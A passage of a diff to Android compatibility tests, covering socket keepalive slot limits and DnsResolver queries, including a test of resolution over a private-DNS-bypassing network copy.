+ final Executor executor = mContext.getMainExecutor();
+
+ // Initialize a real NaT-T socket.
+ final IpSecManager mIpSec = (IpSecManager) mContext.getSystemService(Context.IPSEC_SERVICE);
+ final UdpEncapsulationSocket nattSocket = mIpSec.openUdpEncapsulationSocket();
+ final InetAddress srcAddr = getFirstV4Address(network);
+ final InetAddress dstAddr = getAddrByName(TEST_HOST, AF_INET);
+ assertNotNull(srcAddr);
+ assertNotNull(dstAddr);
+
+ // Test concurrent Nat-T keepalives.
+ final ArrayList<SocketKeepalive> result = createConcurrentKeepalivesOfType(requestCount,
+ callback, () -> mCm.createSocketKeepalive(network, nattSocket,
+ srcAddr, dstAddr, executor, callback));
+
+ nattSocket.close();
+ return result;
+ }
+
+ private @NonNull ArrayList<SocketKeepalive> createConcurrentTcpSocketKeepalives(
+ @NonNull Network network, int requestCount,
+ @NonNull TestSocketKeepaliveCallback callback) {
+ final Executor executor = mContext.getMainExecutor();
+
+ // Create concurrent TCP keepalives.
+ return createConcurrentKeepalivesOfType(requestCount, callback, () -> {
+ // Assert that TCP connections can be established. The file descriptor of tcp
+ // sockets will be duplicated and kept valid in service side if the keepalives are
+ // successfully started.
+ try (Socket tcpSocket = getConnectedSocket(network, TEST_HOST, HTTP_PORT,
+ 0 /* Unused */, AF_INET)) {
+ return mCm.createSocketKeepalive(network, tcpSocket, executor, callback);
+ } catch (Exception e) {
+ fail("Unexpected error when creating TCP socket: " + e);
+ }
+ return null;
+ });
+ }
+
+ /**
+ * Creates concurrent keepalives until the specified counts of each type of keepalives are
+ * reached or the expected error callbacks are received for each type of keepalives.
+ *
+ * @return the total number of keepalives created.
+ */
+ private int createConcurrentSocketKeepalives(
+ @NonNull Network network, int nattCount, int tcpCount) throws Exception {
+ final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
+ final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
+
+ kalist.addAll(createConcurrentNattSocketKeepalives(network, nattCount, callback));
+ kalist.addAll(createConcurrentTcpSocketKeepalives(network, tcpCount, callback));
+
+ final int ret = kalist.size();
+
+ // Clean up.
+ for (final SocketKeepalive ka : kalist) {
+ ka.stop();
+ callback.expectStopped();
+ }
+ kalist.clear();
+
+ return ret;
+ }
+
+ /**
+ * Verifies that the concurrent keepalive slots meet the minimum requirement, and don't
+ * get leaked after iterations.
+ */
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+ public void testSocketKeepaliveLimitWifi() throws Exception {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+ Log.i(TAG, "testSocketKeepaliveLimitWifi cannot execute unless device"
+ + " supports WiFi");
+ return;
+ }
+
+ final Network network = ensureWifiConnected();
+ final int supported = getSupportedKeepalivesForNet(network);
+ if (supported == 0) {
+ return;
+ }
+
+ adoptShellPermissionIdentity();
+
+ // Verifies that the supported keepalive slots meet MIN_SUPPORTED_KEEPALIVE_COUNT.
+ assertGreaterOrEqual(supported, MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT);
+
+ // Verifies that Nat-T keepalives can be established.
+ assertEquals(supported, createConcurrentSocketKeepalives(network, supported + 1, 0));
+ // Verifies that keepalives don't get leaked in second round.
+ assertEquals(supported, createConcurrentSocketKeepalives(network, supported, 0));
+
+ // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
+ // NAT-T keepalive. Test below cases only if TCP keepalive is supported by kernel.
+ if (isTcpKeepaliveSupportedByKernel()) {
+ assertEquals(supported, createConcurrentSocketKeepalives(network, 0, supported + 1));
+
+ // Verifies that different types can be established at the same time.
+ assertEquals(supported, createConcurrentSocketKeepalives(network,
+ supported / 2, supported - supported / 2));
+
+ // Verifies that keepalives don't get leaked in second round.
+ assertEquals(supported, createConcurrentSocketKeepalives(network, 0, supported));
+ assertEquals(supported, createConcurrentSocketKeepalives(network,
+ supported / 2, supported - supported / 2));
+ }
+
+ dropShellPermissionIdentity();
+ }
+
+ /**
+ * Verifies that the concurrent keepalive slots meet the minimum telephony requirement, and
+ * don't get leaked after iterations.
+ */
+ @AppModeFull(reason = "Cannot request network in instant app mode")
+ public void testSocketKeepaliveLimitTelephony() throws Exception {
+ if (!mPackageManager.hasSystemFeature(FEATURE_TELEPHONY)) {
+ Log.i(TAG, "testSocketKeepaliveLimitTelephony cannot execute unless device"
+ + " supports telephony");
+ return;
+ }
+
+ final int firstSdk = Build.VERSION.FIRST_SDK_INT;
+ if (firstSdk < Build.VERSION_CODES.Q) {
+ Log.i(TAG, "testSocketKeepaliveLimitTelephony: skip test for devices launching"
+ + " before Q: " + firstSdk);
+ return;
+ }
+
+ final Network network = mCtsNetUtils.connectToCell();
+ final int supported = getSupportedKeepalivesForNet(network);
+
+ adoptShellPermissionIdentity();
+
+ // Verifies that the supported keepalive slots meet minimum requirement.
+ assertGreaterOrEqual(supported, MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT);
+
+ // Verifies that Nat-T keepalives can be established.
+ assertEquals(supported, createConcurrentSocketKeepalives(network, supported + 1, 0));
+ // Verifies that keepalives don't get leaked in second round.
+ assertEquals(supported, createConcurrentSocketKeepalives(network, supported, 0));
+
+ dropShellPermissionIdentity();
+ }
+
+ /**
+ * Verifies that the keepalive slots are limited as customized for unprivileged requests.
+ */
+ @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+ public void testSocketKeepaliveUnprivileged() throws Exception {
+ if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+ Log.i(TAG, "testSocketKeepaliveUnprivileged cannot execute unless device"
+ + " supports WiFi");
+ return;
+ }
+
+ final Network network = ensureWifiConnected();
+ final int supported = getSupportedKeepalivesForNet(network);
+ if (supported == 0) {
+ return;
+ }
+
+ final int allowedUnprivilegedPerUid = mContext.getResources().getInteger(
+ R.integer.config_allowedUnprivilegedKeepalivePerUid);
+ final int reservedPrivilegedSlots = mContext.getResources().getInteger(
+ R.integer.config_reservedPrivilegedKeepaliveSlots);
+ // Verifies that unprivileged request per uid cannot exceed the limit customized in the
+ // resource. Currently, unprivileged keepalive slots are limited to Nat-T only, this test
+ // does not apply to TCP.
+ assertGreaterOrEqual(supported, reservedPrivilegedSlots);
+ assertGreaterOrEqual(supported, allowedUnprivilegedPerUid);
+ final int expectedUnprivileged =
+ Math.min(allowedUnprivilegedPerUid, supported - reservedPrivilegedSlots);
+ assertEquals(expectedUnprivileged,
+ createConcurrentSocketKeepalives(network, supported + 1, 0));
+ }
+
+ private static void assertGreaterOrEqual(long greater, long lesser) {
+ assertTrue("" + greater + " expected to be greater than or equal to " + lesser,
+ greater >= lesser);
+ }
}
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index 945f51d..ef8badd 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -21,20 +21,26 @@
import static android.net.DnsResolver.FLAG_NO_CACHE_LOOKUP;
import static android.net.DnsResolver.TYPE_A;
import static android.net.DnsResolver.TYPE_AAAA;
-import static android.system.OsConstants.EBADF;
+import static android.system.OsConstants.ETIMEDOUT;
import android.annotation.NonNull;
import android.annotation.Nullable;
import android.content.Context;
+import android.content.ContentResolver;
import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
import android.net.DnsPacket;
import android.net.DnsResolver;
+import android.net.LinkProperties;
import android.net.Network;
import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
import android.net.ParseException;
import android.os.CancellationSignal;
import android.os.Handler;
import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
import android.system.ErrnoException;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -48,25 +54,72 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeUnit;
+@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
public class DnsResolverTest extends AndroidTestCase {
private static final String TAG = "DnsResolverTest";
private static final char[] HEX_CHARS = {
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
};
+
+ static final String TEST_DOMAIN = "www.google.com";
+ static final String INVALID_PRIVATE_DNS_SERVER = "invalid.google";
+ static final byte[] TEST_BLOB = new byte[]{
+ /* Header */
+ 0x55, 0x66, /* Transaction ID */
+ 0x01, 0x00, /* Flags */
+ 0x00, 0x01, /* Questions */
+ 0x00, 0x00, /* Answer RRs */
+ 0x00, 0x00, /* Authority RRs */
+ 0x00, 0x00, /* Additional RRs */
+ /* Queries */
+ 0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
+ 0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
+ 0x00, 0x01, /* Type */
+ 0x00, 0x01 /* Class */
+ };
static final int TIMEOUT_MS = 12_000;
static final int CANCEL_TIMEOUT_MS = 3_000;
static final int CANCEL_RETRY_TIMES = 5;
+ static final int QUERY_TIMES = 10;
static final int NXDOMAIN = 3;
+ static final int PRIVATE_DNS_SETTING_TIMEOUT_MS = 2_000;
+ private ContentResolver mCR;
private ConnectivityManager mCM;
private Executor mExecutor;
+ private Executor mExecutorInline;
private DnsResolver mDns;
+ private String mOldMode;
+ private String mOldDnsSpecifier;
+
+ @Override
protected void setUp() throws Exception {
super.setUp();
mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
mDns = DnsResolver.getInstance();
mExecutor = new Handler(Looper.getMainLooper())::post;
+ mExecutorInline = (Runnable r) -> r.run();
+ mCR = getContext().getContentResolver();
+ storePrivateDnsSetting();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ restorePrivateDnsSetting();
+ super.tearDown();
+ }
+
+ private void storePrivateDnsSetting() {
+ // Store private DNS setting
+ mOldMode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
+ mOldDnsSpecifier = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER);
+ }
+
+ private void restorePrivateDnsSetting() {
+ // restore private DNS setting
+ Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldMode);
+ Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER, mOldDnsSpecifier);
}
private static String byteArrayToHexString(byte[] bytes) {
@@ -94,6 +147,9 @@
"This test requires that at least one network be connected. " +
"Please ensure that the device is connected to a network.",
testableNetworks.size() >= 1);
+ // In order to test query with null network, add null as an element.
+ // Test cases which query with null network will go on default network.
+ testableNetworks.add(null);
return testableNetworks.toArray(new Network[0]);
}
@@ -105,15 +161,12 @@
public DnsParseException(String msg) {
super(msg);
}
-
- public DnsParseException(String msg, Throwable cause) {
- super(msg, cause);
- }
}
private static class DnsAnswer extends DnsPacket {
DnsAnswer(@NonNull byte[] data) throws DnsParseException {
super(data);
+
// Check QR field.(query (0), or a response (1)).
if ((mHeader.flags & (1 << 15)) == 0) {
throw new DnsParseException("Not an answer packet");
@@ -123,10 +176,12 @@
int getRcode() {
return mHeader.rcode;
}
- int getANCount(){
+
+ int getANCount() {
return mHeader.getRecordCount(ANSECTION);
}
- int getQDCount(){
+
+ int getQDCount() {
return mHeader.getRecordCount(QDSECTION);
}
}
@@ -173,7 +228,7 @@
mRcode = rcode;
try {
mDnsAnswer = new DnsAnswer(answer);
- } catch (DnsParseException e) {
+ } catch (ParseException | DnsParseException e) {
fail(mMsg + e.getMessage());
}
Log.d(TAG, "Reported blob: " + byteArrayToHexString(answer));
@@ -222,90 +277,108 @@
}
}
- public void testRawQuery() {
- final String dname = "www.google.com";
- final String msg = "RawQuery " + dname;
+ public void testRawQuery() throws Exception {
+ doTestRawQuery(mExecutor);
+ }
+
+ public void testRawQueryInline() throws Exception {
+ doTestRawQuery(mExecutorInline);
+ }
+
+ public void testRawQueryBlob() throws Exception {
+ doTestRawQueryBlob(mExecutor);
+ }
+
+ public void testRawQueryBlobInline() throws Exception {
+ doTestRawQueryBlob(mExecutorInline);
+ }
+
+ public void testRawQueryRoot() throws Exception {
+ doTestRawQueryRoot(mExecutor);
+ }
+
+ public void testRawQueryRootInline() throws Exception {
+ doTestRawQueryRoot(mExecutorInline);
+ }
+
+ public void testRawQueryNXDomain() throws Exception {
+ doTestRawQueryNXDomain(mExecutor);
+ }
+
+ public void testRawQueryNXDomainInline() throws Exception {
+ doTestRawQueryNXDomain(mExecutorInline);
+ }
+
+ public void doTestRawQuery(Executor executor) throws InterruptedException {
+ final String msg = "RawQuery " + TEST_DOMAIN;
for (Network network : getTestableNetworks()) {
final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
- mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
- mExecutor, null, callback);
- try {
- assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
- callback.waitForAnswer());
- callback.assertHasAnswer();
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+ mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+ executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ callback.assertHasAnswer();
}
}
- public void testRawQueryBlob() {
+ public void doTestRawQueryBlob(Executor executor) throws InterruptedException {
final byte[] blob = new byte[]{
- /* Header */
- 0x55, 0x66, /* Transaction ID */
- 0x01, 0x00, /* Flags */
- 0x00, 0x01, /* Questions */
- 0x00, 0x00, /* Answer RRs */
- 0x00, 0x00, /* Authority RRs */
- 0x00, 0x00, /* Additional RRs */
- /* Queries */
- 0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
- 0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
- 0x00, 0x01, /* Type */
- 0x00, 0x01 /* Class */
+ /* Header */
+ 0x55, 0x66, /* Transaction ID */
+ 0x01, 0x00, /* Flags */
+ 0x00, 0x01, /* Questions */
+ 0x00, 0x00, /* Answer RRs */
+ 0x00, 0x00, /* Authority RRs */
+ 0x00, 0x00, /* Additional RRs */
+ /* Queries */
+ 0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
+ 0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
+ 0x00, 0x01, /* Type */
+ 0x00, 0x01 /* Class */
};
final String msg = "RawQuery blob " + byteArrayToHexString(blob);
for (Network network : getTestableNetworks()) {
final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
- mDns.rawQuery(network, blob, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callback);
- try {
- assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
- callback.waitForAnswer());
- callback.assertHasAnswer();
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+ mDns.rawQuery(network, blob, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ callback.assertHasAnswer();
}
}
- public void testRawQueryRoot() {
+ public void doTestRawQueryRoot(Executor executor) throws InterruptedException {
final String dname = "";
final String msg = "RawQuery empty dname(ROOT) ";
for (Network network : getTestableNetworks()) {
final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
- mExecutor, null, callback);
- try {
- assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
- callback.waitForAnswer());
- // Except no answer record because the root does not have AAAA records.
- callback.assertEmptyAnswer();
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+ executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ // Except no answer record because the root does not have AAAA records.
+ callback.assertEmptyAnswer();
}
}
- public void testRawQueryNXDomain() {
+ public void doTestRawQueryNXDomain(Executor executor) throws InterruptedException {
final String dname = "test1-nx.metric.gstatic.com";
final String msg = "RawQuery " + dname;
for (Network network : getTestableNetworks()) {
final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
- mExecutor, null, callback);
- try {
- assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
- callback.waitForAnswer());
- callback.assertNXDomain();
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+ executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ callback.assertNXDomain();
}
}
- public void testRawQueryCancel() throws ErrnoException {
- final String dname = "www.google.com";
- final String msg = "Test cancel RawQuery " + dname;
+ public void testRawQueryCancel() throws InterruptedException {
+ final String msg = "Test cancel RawQuery " + TEST_DOMAIN;
// Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
// that the query is cancelled before it succeeds. If it is not cancelled before it
// succeeds, retry the test until it is.
@@ -319,39 +392,22 @@
final CountDownLatch latch = new CountDownLatch(1);
final CancellationSignal cancelSignal = new CancellationSignal();
final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
- mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
+ mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
mExecutor, cancelSignal, callback);
mExecutor.execute(() -> {
cancelSignal.cancel();
latch.countDown();
});
- try {
- retry = callback.needRetry();
- assertTrue(msg + " query was not cancelled",
- latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+
+ retry = callback.needRetry();
+ assertTrue(msg + " query was not cancelled",
+ latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
} while (retry);
}
}
- public void testRawQueryBlobCancel() throws ErrnoException {
- final byte[] blob = new byte[]{
- /* Header */
- 0x55, 0x66, /* Transaction ID */
- 0x01, 0x00, /* Flags */
- 0x00, 0x01, /* Questions */
- 0x00, 0x00, /* Answer RRs */
- 0x00, 0x00, /* Authority RRs */
- 0x00, 0x00, /* Additional RRs */
- /* Queries */
- 0x03, 0x77, 0x77, 0x77, 0x06, 0x67, 0x6F, 0x6F, 0x67, 0x6c, 0x65,
- 0x03, 0x63, 0x6f, 0x6d, 0x00, /* Name */
- 0x00, 0x01, /* Type */
- 0x00, 0x01 /* Class */
- };
- final String msg = "Test cancel RawQuery blob " + byteArrayToHexString(blob);
+ public void testRawQueryBlobCancel() throws InterruptedException {
+ final String msg = "Test cancel RawQuery blob " + byteArrayToHexString(TEST_BLOB);
// Start a DNS query and the cancel it immediately. Use VerifyCancelCallback to expect
// that the query is cancelled before it succeeds. If it is not cancelled before it
// succeeds, retry the test until it is.
@@ -365,37 +421,30 @@
final CountDownLatch latch = new CountDownLatch(1);
final CancellationSignal cancelSignal = new CancellationSignal();
final VerifyCancelCallback callback = new VerifyCancelCallback(msg, cancelSignal);
- mDns.rawQuery(network, blob, FLAG_EMPTY, mExecutor, cancelSignal, callback);
+ mDns.rawQuery(network, TEST_BLOB, FLAG_EMPTY, mExecutor, cancelSignal, callback);
mExecutor.execute(() -> {
cancelSignal.cancel();
latch.countDown();
});
- try {
- retry = callback.needRetry();
- assertTrue(msg + " cancel is not done",
- latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+
+ retry = callback.needRetry();
+ assertTrue(msg + " cancel is not done",
+ latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
} while (retry);
}
}
- public void testCancelBeforeQuery() throws ErrnoException {
- final String dname = "www.google.com";
- final String msg = "Test cancelled RawQuery " + dname;
+ public void testCancelBeforeQuery() throws InterruptedException {
+ final String msg = "Test cancelled RawQuery " + TEST_DOMAIN;
for (Network network : getTestableNetworks()) {
final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
final CancellationSignal cancelSignal = new CancellationSignal();
cancelSignal.cancel();
- mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
+ mDns.rawQuery(network, TEST_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_EMPTY,
mExecutor, cancelSignal, callback);
- try {
- assertTrue(msg + " should not return any answers",
- !callback.waitForAnswer(CANCEL_TIMEOUT_MS));
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+
+ assertTrue(msg + " should not return any answers",
+ !callback.waitForAnswer(CANCEL_TIMEOUT_MS));
}
}
@@ -462,27 +511,53 @@
}
}
- public void testQueryForInetAddress() {
- final String dname = "www.google.com";
- final String msg = "Test query for InetAddress " + dname;
+ public void testQueryForInetAddress() throws Exception {
+ doTestQueryForInetAddress(mExecutor);
+ }
+
+ public void testQueryForInetAddressInline() throws Exception {
+ doTestQueryForInetAddress(mExecutorInline);
+ }
+
+ public void testQueryForInetAddressIpv4() throws Exception {
+ doTestQueryForInetAddressIpv4(mExecutor);
+ }
+
+ public void testQueryForInetAddressIpv4Inline() throws Exception {
+ doTestQueryForInetAddressIpv4(mExecutorInline);
+ }
+
+ public void testQueryForInetAddressIpv6() throws Exception {
+ doTestQueryForInetAddressIpv6(mExecutor);
+ }
+
+ public void testQueryForInetAddressIpv6Inline() throws Exception {
+ doTestQueryForInetAddressIpv6(mExecutorInline);
+ }
+
+ public void testContinuousQueries() throws Exception {
+ doTestContinuousQueries(mExecutor);
+ }
+
+ public void testContinuousQueriesInline() throws Exception {
+ doTestContinuousQueries(mExecutorInline);
+ }
+
+ public void doTestQueryForInetAddress(Executor executor) throws InterruptedException {
+ final String msg = "Test query for InetAddress " + TEST_DOMAIN;
for (Network network : getTestableNetworks()) {
final VerifyCancelInetAddressCallback callback =
new VerifyCancelInetAddressCallback(msg, null);
- mDns.query(network, dname, FLAG_NO_CACHE_LOOKUP,
- mExecutor, null, callback);
- try {
- assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
- callback.waitForAnswer());
- assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+ mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
}
}
- public void testQueryCancelForInetAddress() throws ErrnoException {
- final String dname = "www.google.com";
- final String msg = "Test cancel query for InetAddress " + dname;
+ public void testQueryCancelForInetAddress() throws InterruptedException {
+ final String msg = "Test cancel query for InetAddress " + TEST_DOMAIN;
// Start a DNS query and the cancel it immediately. Use VerifyCancelInetAddressCallback to
// expect that the query is cancelled before it succeeds. If it is not cancelled before it
// succeeds, retry the test until it is.
@@ -497,56 +572,150 @@
final CancellationSignal cancelSignal = new CancellationSignal();
final VerifyCancelInetAddressCallback callback =
new VerifyCancelInetAddressCallback(msg, cancelSignal);
- mDns.query(network, dname, FLAG_EMPTY, mExecutor, cancelSignal, callback);
+ mDns.query(network, TEST_DOMAIN, FLAG_EMPTY, mExecutor, cancelSignal, callback);
mExecutor.execute(() -> {
cancelSignal.cancel();
latch.countDown();
});
- try {
- retry = callback.needRetry();
- assertTrue(msg + " query was not cancelled",
- latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+
+ retry = callback.needRetry();
+ assertTrue(msg + " query was not cancelled",
+ latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
} while (retry);
}
}
- public void testQueryForInetAddressIpv4() {
- final String dname = "www.google.com";
- final String msg = "Test query for IPv4 InetAddress " + dname;
+ public void doTestQueryForInetAddressIpv4(Executor executor) throws InterruptedException {
+ final String msg = "Test query for IPv4 InetAddress " + TEST_DOMAIN;
for (Network network : getTestableNetworks()) {
final VerifyCancelInetAddressCallback callback =
new VerifyCancelInetAddressCallback(msg, null);
- mDns.query(network, dname, TYPE_A, FLAG_NO_CACHE_LOOKUP,
- mExecutor, null, callback);
- try {
- assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
- callback.waitForAnswer());
- assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
- assertTrue(msg + " returned Ipv6 results", !callback.hasIpv6Answer());
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
- }
+ mDns.query(network, TEST_DOMAIN, TYPE_A, FLAG_NO_CACHE_LOOKUP,
+ executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+ assertTrue(msg + " returned Ipv6 results", !callback.hasIpv6Answer());
}
}
- public void testQueryForInetAddressIpv6() {
- final String dname = "www.google.com";
- final String msg = "Test query for IPv6 InetAddress " + dname;
+ public void doTestQueryForInetAddressIpv6(Executor executor) throws InterruptedException {
+ final String msg = "Test query for IPv6 InetAddress " + TEST_DOMAIN;
for (Network network : getTestableNetworks()) {
final VerifyCancelInetAddressCallback callback =
new VerifyCancelInetAddressCallback(msg, null);
- mDns.query(network, dname, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
- mExecutor, null, callback);
- try {
+ mDns.query(network, TEST_DOMAIN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+ executor, null, callback);
+
+ assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+ assertTrue(msg + " returned Ipv4 results", !callback.hasIpv4Answer());
+ }
+ }
+
+ private void awaitPrivateDnsSetting(@NonNull String msg,
+ @NonNull Network network, @NonNull String server) throws InterruptedException {
+ CountDownLatch latch = new CountDownLatch(1);
+ NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
+ NetworkCallback callback = new NetworkCallback() {
+ @Override
+ public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
+ if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
+ latch.countDown();
+ }
+ }
+ };
+ mCM.registerNetworkCallback(request, callback);
+ assertTrue(msg, latch.await(PRIVATE_DNS_SETTING_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ mCM.unregisterNetworkCallback(callback);
+ }
+
+ public void testPrivateDnsBypass() throws InterruptedException {
+ final Network[] testNetworks = getTestableNetworks();
+
+ // Set an invalid private DNS server
+ Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+ Settings.Global.putString(mCR,
+ Settings.Global.PRIVATE_DNS_SPECIFIER, INVALID_PRIVATE_DNS_SERVER);
+
+ final String msg = "Test PrivateDnsBypass " + TEST_DOMAIN;
+ for (Network network : testNetworks) {
+ // This test cannot be ran with null network because we need to explicitly pass a
+ // private DNS bypassable network or bind one.
+ if (network == null) continue;
+
+ // wait for private DNS setting propagating
+ awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+ network, INVALID_PRIVATE_DNS_SERVER);
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final DnsResolver.Callback<List<InetAddress>> errorCallback =
+ new DnsResolver.Callback<List<InetAddress>>() {
+ @Override
+ public void onAnswer(@NonNull List<InetAddress> answerList, int rcode) {
+ fail(msg + " should not get valid answer");
+ }
+
+ @Override
+ public void onError(@NonNull DnsResolver.DnsException error) {
+ assertEquals(DnsResolver.ERROR_SYSTEM, error.code);
+ assertEquals(ETIMEDOUT, ((ErrnoException) error.getCause()).errno);
+ latch.countDown();
+ }
+ };
+ // Private DNS strict mode with invalid DNS server is set
+ // Expect no valid answer returned but ErrnoException with ETIMEDOUT
+ mDns.query(network, TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, errorCallback);
+
+ assertTrue(msg + " invalid server round. No response after " + TIMEOUT_MS + "ms.",
+ latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ final VerifyCancelInetAddressCallback callback =
+ new VerifyCancelInetAddressCallback(msg, null);
+ // Bypass privateDns, expect query works fine
+ mDns.query(network.getPrivateDnsBypassingCopy(),
+ TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callback);
+
+ assertTrue(msg + " bypass private DNS round. No answer after " + TIMEOUT_MS + "ms.",
+ callback.waitForAnswer());
+ assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
+
+ // To ensure private DNS bypass still work even if passing null network.
+ // Bind process network with a private DNS bypassable network.
+ mCM.bindProcessToNetwork(network.getPrivateDnsBypassingCopy());
+ final VerifyCancelInetAddressCallback callbackWithNullNetwork =
+ new VerifyCancelInetAddressCallback(msg + " with null network ", null);
+ mDns.query(null,
+ TEST_DOMAIN, FLAG_NO_CACHE_LOOKUP, mExecutor, null, callbackWithNullNetwork);
+
+ assertTrue(msg + " with null network bypass private DNS round. No answer after " +
+ TIMEOUT_MS + "ms.", callbackWithNullNetwork.waitForAnswer());
+ assertTrue(msg + " with null network returned 0 results",
+ !callbackWithNullNetwork.isAnswerEmpty());
+
+ // Reset process network to default.
+ mCM.bindProcessToNetwork(null);
+ }
+ }
+
+ public void doTestContinuousQueries(Executor executor) throws InterruptedException {
